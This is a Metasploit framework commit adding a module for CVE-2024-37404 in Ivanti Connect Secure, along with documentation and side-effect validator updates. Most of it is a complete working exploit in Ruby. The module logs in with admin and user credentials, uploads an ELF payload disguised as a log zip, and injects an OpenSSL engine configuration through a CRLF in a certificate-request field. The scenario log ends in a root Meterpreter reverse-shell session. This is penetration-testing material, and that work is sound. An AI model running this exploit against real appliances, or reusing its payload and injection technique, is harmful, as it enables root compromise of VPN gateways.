Land #19595 Ivanti Connect Secure auth RCE via OpenSSL (CVE-2024-37404)

This commit is contained in:
jheysel-r7
2024-12-04 08:26:07 -08:00
committed by GitHub
6 changed files with 550 additions and 1 deletions
@@ -59,6 +59,7 @@ Example:
| CONFIG_CHANGES | Module modifies some config file |
| IOC_IN_LOGS | Module leaves an indicator of compromise in the log(s) |
| ACCOUNT_LOCKOUTS | Module may cause an account to lock out |
| ACCOUNT_LOGOUT | Module may cause an existing valid session to be forced to log out (likely due to restrictions on concurrent sessions)|
| SCREEN_EFFECTS | Module shows something on the screen that a human may notice |
| PHYSICAL_EFFECTS | Module may produce physical effects in hardware (Examples: light, sound, or heat) |
| AUDIO_EFFECTS | Module may cause a noise (Examples: Audio output from the speakers or hardware beeps) |
@@ -0,0 +1,114 @@
## Vulnerable Application
This module exploits a CRLF injection vulnerability in Ivanti Connect Secure to
achieve remote code execution (CVE-2024-37404). Versions prior to 22.7R2.1 are
vulnerable. Note that Ivanti Policy Secure versions prior to 22.7R1.1 are also
vulnerable but this module doesn't support this software.
Valid administrative credentials are required. A non-administrative user is also
required and can be created using the administrative account, if needed.
Finally, the `Client Log Upload` feature needs to be enabled. This can also
be done using the administrative interface (see the Installation Steps section
below), if it is not enabled already.
### Process Overview
First, the module will log into the administrative interface and check if the version
is vulnerable. Then, it will connect to the user interface using non-privileged
credentials and upload a log file archive containing the payload. This file is
stored as a known path on the server, which can be retrieved from the
administrative interface. Then, it leverages the CRLF vulnerability by creating
a Certificate Signing Request and passing a specially crafted OpenSSL
configuration. This configuration instructs OpenSSL to use a custom
cryptographic engine, which points to the log file path (our payload). The
payload is immediately executed, giving RCE as the root user on the appliance.
This has been successfully tested against Ivanti Connect Secure version 22.3R1 (build 1647).
### Installation Steps
Get an Ivanti Security Appliance (ISA) or a Virtual Appliances (ISA-V Series)
with a vulnerable Ivanti Connect Secure installed.
Note that it is not possible to download a trial version of a Virtual Appliance
unless you contact sales and request a demo.
Log into to the admin interface (https:/<IP>/admin) to proceed with the following requirements:
#### Create a normal user
- In the `Authentication` menu, select `Auth. Servers`.
- Select the `System Local` `Authentication/Authorization Servers` or any
server with the type `Local Authentication`. Don't select the
`Administrators` server since we need a non-administrative account.
- Click on the `Users` tab and then `New`.
- Fill the registration form and click `Save Changes`.
#### Enable Client Log
- Go to `Users` > `User Roles` and click on the `Users` role.
- Go to `General` > `Session Options`.
- Select `Enable Upload Logs` under the `Upload logs` section.
- Click `Save Changes`.
## Verification Steps
1. Start msfconsole
1. Do: `use linux/http/ivanti_connect_secure_rce_cve_2024_37404`
1. Do: `run verbose=true lhost=<local host> rhosts=<remote host> admin_username=<admin username> admin_password=<admin password> username=<normal user> password=<user password>`
1. You should get a Meterpreter session
1. Make sure the admin and the normal user have been logged out by logging in
the web interfaces with a web browser (you should have any warning saying a
session is already active)
1. Make sure the cleanup has been done correctly by checking `System` > `Log/Monitoring`
## Options
### ADMIN_USERNAME
Administrative username to authenticate with.
### ADMIN_PASSWORD
Administrator password to authenticate with.
### USERNAME
Normal user username to authenticate with.
### PASSWORD
Normal user password to authenticate with.
## Scenarios
### Ivanti Connect Secure version 22.3R1 (build 1647)
```
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_37404) > run verbose=true lhost=192.168.211.69 rhosts=192.168.211.200 admin_username=msfadmin admin_password=1234567890 username=msfuser password=1234567890
[*] Started reverse TCP handler on 192.168.211.69:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Login to the administrative interface with username 'msfadmin' and password '1234567890'...
[!] The admin msfadmin is already logged in
[*] Getting the version...
[+] Found version 22.3R1 (build 1647)
[+] The target appears to be vulnerable.
[*] Uploading the payload...
[*] Login to the user interface with username 'msfuser' and password '1234567890'...
[*] Uploading the log file...
[*] Logging the user out...
[*] Getting the log file name...
[*] Triggering the payload...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (1017704 bytes) to 192.168.211.200
[*] Cleaning up...
[*] Deleting the log file (payload)...
[*] Logging the administrator out...
[*] Meterpreter session 3 opened (192.168.211.69:4444 -> 192.168.211.200:50210) at 2024-10-29 16:43:35 +0100
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.211.200
OS : (Linux 4.15.18.34-production)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
```
+2
View File
@@ -82,6 +82,8 @@ CONFIG_CHANGES = 'config-changes'
IOC_IN_LOGS = 'ioc-in-logs'
# Module may cause account lockouts (likely due to brute-forcing).
ACCOUNT_LOCKOUTS = 'account-lockouts'
# Module may cause an existing valid session to be forced to log out (likely due to restrictions on concurrent sessions).
ACCOUNT_LOGOUT = 'account-logout'
# Module may show something on the screen (Example: a window pops up).
SCREEN_EFFECTS = 'screen-effects'
# Module may cause a noise (Examples: audio output from the speakers or hardware beeps).
@@ -0,0 +1,431 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
class IvantiError < StandardError; end
class IvantiNoAccessError < IvantiError; end
class IvantiNotFoundError < IvantiError; end
class IvantiUnexpectedResponseError < IvantiError; end
class IvantiUnknownError < IvantiError; end
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ivanti Connect Secure Authenticated Remote Code Execution via OpenSSL CRLF Injection',
'Description' => %q{
This module exploits a CRLF injection vulnerability in Ivanti Connect
Secure to achieve remote code execution (CVE-2024-37404). Versions
prior to 22.7R2.1 are vulnerable. Note that Ivanti Policy Secure
versions prior to 22.7R1.1 are also vulnerable but this module
doesn't support this software.
Valid administrative credentials are required. A non-administrative
user is also required and can be created using the administrative
account, if needed.
},
'License' => MSF_LICENSE,
'Author' => [
'Richard Warren', # Vulnerability discovery and PoC
'Christophe De La Fuente', # Metasploit Module
],
'References' => [
['CVE', '2024-37404'],
['URL', 'https://attackerkb.com/topics/FI5vcuGwyM/cve-2024-37404'],
['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-and-Policy-Secure-CVE-2024-37404'],
['URL', 'https://blog.amberwolf.com/blog/2024/october/cve-2024-37404-ivanti-connect-secure-authenticated-rce-via-openssl-crlf-injection/']
],
'DisclosureDate' => '2024-10-08',
'Platform' => 'linux',
'Arch' => ARCH_X86, # OpenSSL running on the appliance is an x86 binary which requires the payload to be ARCH_x86
'Privileged' => true, # Administrative access is needed and code execution as root.
'Targets' => [
['Automatic', {}]
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, ACCOUNT_LOGOUT]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path of the Ivanti Connect Secure web interface', '/']),
OptString.new('ADMIN_USERNAME', [true, 'Administrative username to authenticate with.']),
OptString.new('ADMIN_PASSWORD', [true, 'Administrator password to authenticate with.']),
OptString.new('USERNAME', [true, 'Normal user username to authenticate with.']),
OptString.new('PASSWORD', [true, 'Normal user password to authenticate with.'])
]
)
@logged = false
end
def confirm_login_admin(uri)
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
raise IvantiUnknownError, "[confirm_login_admin] No response from '#{uri}'" if res.nil?
csrf_token = res.get_html_document.xpath('//form/input[@name="xsauth"]/@value').text
raise IvantiNotFoundError, '[confirm_login_admin] Could not find the CSRF token' if csrf_token.empty?
form_data_str = res.get_html_document.xpath('//form/input[@id="DSIDFormDataStr"]/@value').text
raise IvantiNotFoundError, '[confirm_login_admin] Could not find the FormDataStr token' if form_data_str.empty?
uri = normalize_uri(target_uri.path, '/dana-na/auth/url_admin/login.cgi')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'keep_cookies' => 'true',
'vars_post' => {
'btnContinue' => 'Continue the session',
'FormDataStr' => form_data_str,
'xsauth' => csrf_token
}
)
raise IvantiUnknownError, "[confirm_login_admin] No response from '#{uri}'" if res.nil?
res
end
def login_admin
print_status(
"Login to the administrative interface with username '#{datastore['ADMIN_USERNAME']}' and password "\
"'#{datastore['ADMIN_PASSWORD']}'..."
)
uri = normalize_uri(target_uri.path, '/dana-na/auth/url_admin/welcome.cgi')
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
raise IvantiUnknownError, "[login_admin] No response from '#{uri}'" if res.nil?
csrf_token = res.get_html_document.xpath('//form/input[@id="xsauth_token"]/@value').text
raise IvantiNotFoundError, '[login_admin] Could not find the CSRF token' if csrf_token.empty?
uri = normalize_uri(target_uri.path, '/dana-na/auth/url_admin/login.cgi')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'keep_cookies' => 'true',
'vars_post' => {
'tz_offset' => (60 * rand(0..8)).to_s,
'xsauth_token' => csrf_token,
'username' => datastore['ADMIN_USERNAME'],
'password' => datastore['ADMIN_PASSWORD'],
'realm' => 'Admin Users',
'btnSubmit' => 'Sign In'
}
)
raise IvantiUnknownError, "[login_admin] No response from '#{uri}'" if res.nil?
if res.code == 302 && res.redirection.to_s == normalize_uri(target_uri.path, '/dana-na/auth/url_admin/welcome.cgi?p=admin%2Dconfirm')
print_warning("The admin #{datastore['ADMIN_USERNAME']} is already logged in")
res = confirm_login_admin(normalize_uri(target_uri.path, res.redirection.to_s))
end
if res.code != 302 || res.redirection.to_s != normalize_uri(target_uri.path, '/dana-admin/misc/admin.cgi')
raise IvantiNoAccessError, "[login_admin] Login failed (username: #{datastore['ADMIN_USERNAME']}, password: #{datastore['ADMIN_PASSWORD']})"
end
end
def get_version
print_status('Getting the version...')
uri = normalize_uri(target_uri.path, '/dana-admin/sysinfo/sysinfo.cgi')
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
raise IvantiUnknownError, "[get_version] No response from '#{uri}'" if res.nil?
version_str = res.get_html_document.xpath('//span[@id="DSIDSystemSoftwarePkgVersion"]').text
raise IvantiNotFoundError, '[get_version] Could not find the version number' if version_str.empty?
print_good("Found version #{version_str}")
unless version_str.match(/(\d+\.[\dR]+)/)
raise IvantiNotFoundError, "[get_version] Unexpected version number format: #{version_str}"
end
Rex::Version.new(Regexp.last_match(1))
end
def check
begin
login_admin
@logged = true
rescue IvantiError => e
return CheckCode::Unknown("Unable to login to the administrative interface: #{e}")
end
begin
version = get_version
rescue IvantiError => e
return CheckCode::Detected("Version number not found: #{e}")
end
unless version < Rex::Version.new('22.7R2.1')
return CheckCode::Safe("Version number: #{version}")
end
return CheckCode::Appears
end
def confirm_login_user(uri)
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
raise IvantiUnknownError, "[login_user] No response from '#{uri}'" if res.nil?
form_data_str = res.get_html_document.xpath('//form/input[@id="DSIDFormDataStr"]/@value').text
raise IvantiNotFoundError, '[login_user] Could not find the FormDataStr token' if form_data_str.empty?
uri = normalize_uri(target_uri.path, '/dana-na/auth/url_default/login.cgi')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'keep_cookies' => 'true',
'vars_post' => {
'btnContinue' => 'Continue the session',
'FormDataStr' => form_data_str
}
)
raise IvantiUnknownError, "[login_user] No response from '#{uri}'" if res.nil?
res
end
def login_user
print_status(
"Login to the user interface with username '#{datastore['USERNAME']}' and password "\
"'#{datastore['PASSWORD']}'..."
)
uri = normalize_uri(target_uri.path, '/dana-na/auth/url_default/login.cgi')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'keep_cookies' => 'true',
'vars_post' => {
'tz_offset' => '',
'win11' => '',
'clientMAC' => '',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'realm' => 'Users',
'btnSubmit' => 'Sign In'
}
)
raise IvantiUnknownError, "[login_user] No response from '#{uri}'" if res.nil?
if res.code == 302 && res.redirection.to_s == normalize_uri(target_uri.path, '/dana-na/auth/url_default/welcome.cgi?p=user%2Dconfirm')
print_warning("User #{datastore['USERNAME']} is already logged in.")
res = confirm_login_user(normalize_uri(target_uri.path, res.redirection.to_s))
end
if res.code != 302 && res.redirection.to_s != normalize_uri(target_uri.path, '/dana/home/starter0.cgi?check=yes')
raise IvantiNoAccessError, "[login_user] Login failed (username: #{datastore['USERNAME']}, password: #{datastore['PASSWORD']})"
end
end
def upload_log
print_status('Uploading the log file...')
@client_component = "Log_#{rand_text_numeric(3)}"
uri = normalize_uri(target_uri.path, "/dana/uploadlog/uploadlog.cgi?client_component=#{@client_component}")
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'keep_cookies' => 'true',
'vars_form_data' => [
{
'name' => 'uploaded_file',
'data' => Msf::Util::EXE.to_linux_x86_elf_dll(framework, payload.encoded),
'content_type' => 'application/octet-stream',
'encoding' => 'binary',
'filename' => 'LULogUpload.zip'
}
]
)
raise IvantiUnknownError, "[upload_log] No response from '#{uri}'" if res.nil?
unless res.code == 200
raise IvantiUnexpectedResponseError, "[upload_log] Server responded with an unexpected HTTP status code: #{res.code}"
end
end
def get_log_filename
print_status('Getting the log file name...')
uri = normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi')
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
raise IvantiUnknownError, "[get_log_filename] No response from '#{uri}'" if res.nil?
log_filename = res.get_html_document.xpath("//table[@id='table_uploadedlogs_4']//tr/td[contains(text(), '#{@client_component}')]/preceding-sibling::td/a").text.strip
raise IvantiNotFoundError, '[get_log_filename] Could not find the log filename' if log_filename.empty?
log_filename
end
def upload_payload
print_status('Uploading the payload...')
cookie_jar_bak = cookie_jar.dup
cookie_jar.clear
login_user
begin
upload_log
ensure
print_status('Logging the user out...')
uri = normalize_uri(target_uri.path, '/dana-na/auth/logout.cgi')
res = send_request_cgi('method' => 'GET', 'uri' => uri)
print_warning("Unable to logout: no response from '#{uri}'") if res.nil?
end
self.cookie_jar = cookie_jar_bak
get_log_filename
end
def trigger_payload
print_status('Triggering the payload...')
uri = normalize_uri(target_uri.path, '/dana-admin/cert/admincert.cgi')
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
raise IvantiUnknownError, "[trigger_payload] No response from '#{uri}'" if res.nil?
csrf_token = res.get_html_document.xpath('//form/input[@id="xsauth_71"]/@value').text
raise IvantiNotFoundError, '[trigger_payload] Could not find the CSRF token' if csrf_token.empty?
engine_name = rand_text_alpha_lower(3..5)
config_section = rand_text_alpha_lower(5..10)
openssl_config = <<~CONF
[default]
openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
#{engine_name} = #{config_section}
[#{config_section}]
engine_id = #{engine_name}
dynamic_path = /home/runtime/uploadlog/#{@log_filename}
init = 0
CONF
# Expecting no response
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/dana-admin/cert/admincertnewcsr.cgi'),
'keep_cookies' => 'true',
'headers' => {
'Referer' => full_uri('/dana-admin/cert/admincert.cgi')
},
'vars_post' => {
'xsauth' => csrf_token,
'commonName' => Faker::Company.department,
'organizationName' => Faker::Company.name,
'organizationalUnitName' => Faker::Company.department,
'localityName' => "#{Faker::Address.city}\n#{openssl_config}",
'stateOrProvinceName' => Faker::Address.state,
'countryName' => Faker::Address.country_code,
'emailAddress' => Faker::Internet.email,
'keytype' => 'RSA',
'keylength' => '1024',
'eccurve' => 'prime256v1',
'random' => rand_text_alphanumeric(5..10),
'newcsr' => 'yes',
'certType' => 'device',
'btnCreateCSR' => 'Create CSR'
}
}, 1)
end
def exploit
unless @logged
begin
login_admin
rescue IvantiError => e
fail_with(Failure::NoAccess, "Unable to login to the administrative interface: #{e}")
end
end
begin
@log_filename = upload_payload
rescue IvantiError => e
fail_with(Failure::Unknown, "Unable to upload the payload: #{e}")
end
begin
trigger_payload
rescue IvantiError => e
fail_with(Failure::Unknown, "Unable to trigger the payload: #{e}")
end
end
def delete_log_file
print_status('Deleting the log file (payload)...')
uri = normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi')
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
raise IvantiUnknownError, "[delete_log_file] No response from '#{uri}'" if res.nil?
csrf_token = res.get_html_document.xpath('//form/input[@id="xsauth_60"]/@value').text
raise IvantiNotFoundError, '[delete_log_file] Could not find the CSRF token' if csrf_token.empty?
file_link = res.get_html_document.xpath("//table[@id='table_uploadedlogs_4']//tr/td[contains(text(), '#{@client_component}')]/preceding-sibling::td/a")
raise IvantiNotFoundError, '[delete_log_file] Could not find the log file' if file_link.empty?
href = file_link.attribute('href')&.value
if href&.match(/&row=(\d+)/)
log_id = Regexp.last_match(1)
else
raise IvantiNotFoundError, '[delete_log_file] Unable to retrieve the log ID'
end
uri = normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'keep_cookies' => 'true',
'headers' => {
'Referer' => full_uri('/dana-admin/auth/uploadedlogs.cgi')
},
'vars_post' => {
'xsauth' => csrf_token,
'op' => 'del',
'row' => log_id
}
)
raise IvantiUnknownError, "[delete_log_file] No response from '#{uri}'" if res.nil?
if res.code != 302 || res.redirection.to_s != normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi')
raise IvantiUnexpectedResponseError, "[delete_log_file] Unable to delete the log file (status code=#{res.code})"
end
csrf_token
end
def on_new_session(_session)
print_status('Cleaning up...')
begin
csrf_token = delete_log_file
rescue IvantiError => e
print_warning(
"Unable to cleanup properly, the log file ('/home/runtime/uploadlog/#{@log_filename}') "\
"will need to be deleted manually: #{e}"
)
end
print_status('Logging the administrator out...')
uri = normalize_uri(target_uri.path, '/dana-na/auth/logout.cgi')
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'vars_get' => { 'xsauth' => csrf_token })
print_warning("Unable to logout: no response from '#{uri}'") if res.nil?
end
end
+1 -1
View File
@@ -97,7 +97,7 @@ RSpec.describe ModuleValidation::Validator do
end
it 'has errors' do
expect(subject.errors.full_messages).to eq ['Side effects contains invalid values ["ARTIFACTS_ON_DISK"] - only ["artifacts-on-disk", "config-changes", "ioc-in-logs", "account-lockouts", "screen-effects", "audio-effects", "physical-effects"] is allowed']
expect(subject.errors.full_messages).to eq ['Side effects contains invalid values ["ARTIFACTS_ON_DISK"] - only ["artifacts-on-disk", "config-changes", "ioc-in-logs", "account-lockouts", "account-logout", "screen-effects", "audio-effects", "physical-effects"] is allowed']
end
end
+1
View File
@@ -55,6 +55,7 @@ module ModuleValidation
Msf::CONFIG_CHANGES,
Msf::IOC_IN_LOGS,
Msf::ACCOUNT_LOCKOUTS,
Msf::ACCOUNT_LOGOUT,
Msf::SCREEN_EFFECTS,
Msf::AUDIO_EFFECTS,
Msf::PHYSICAL_EFFECTS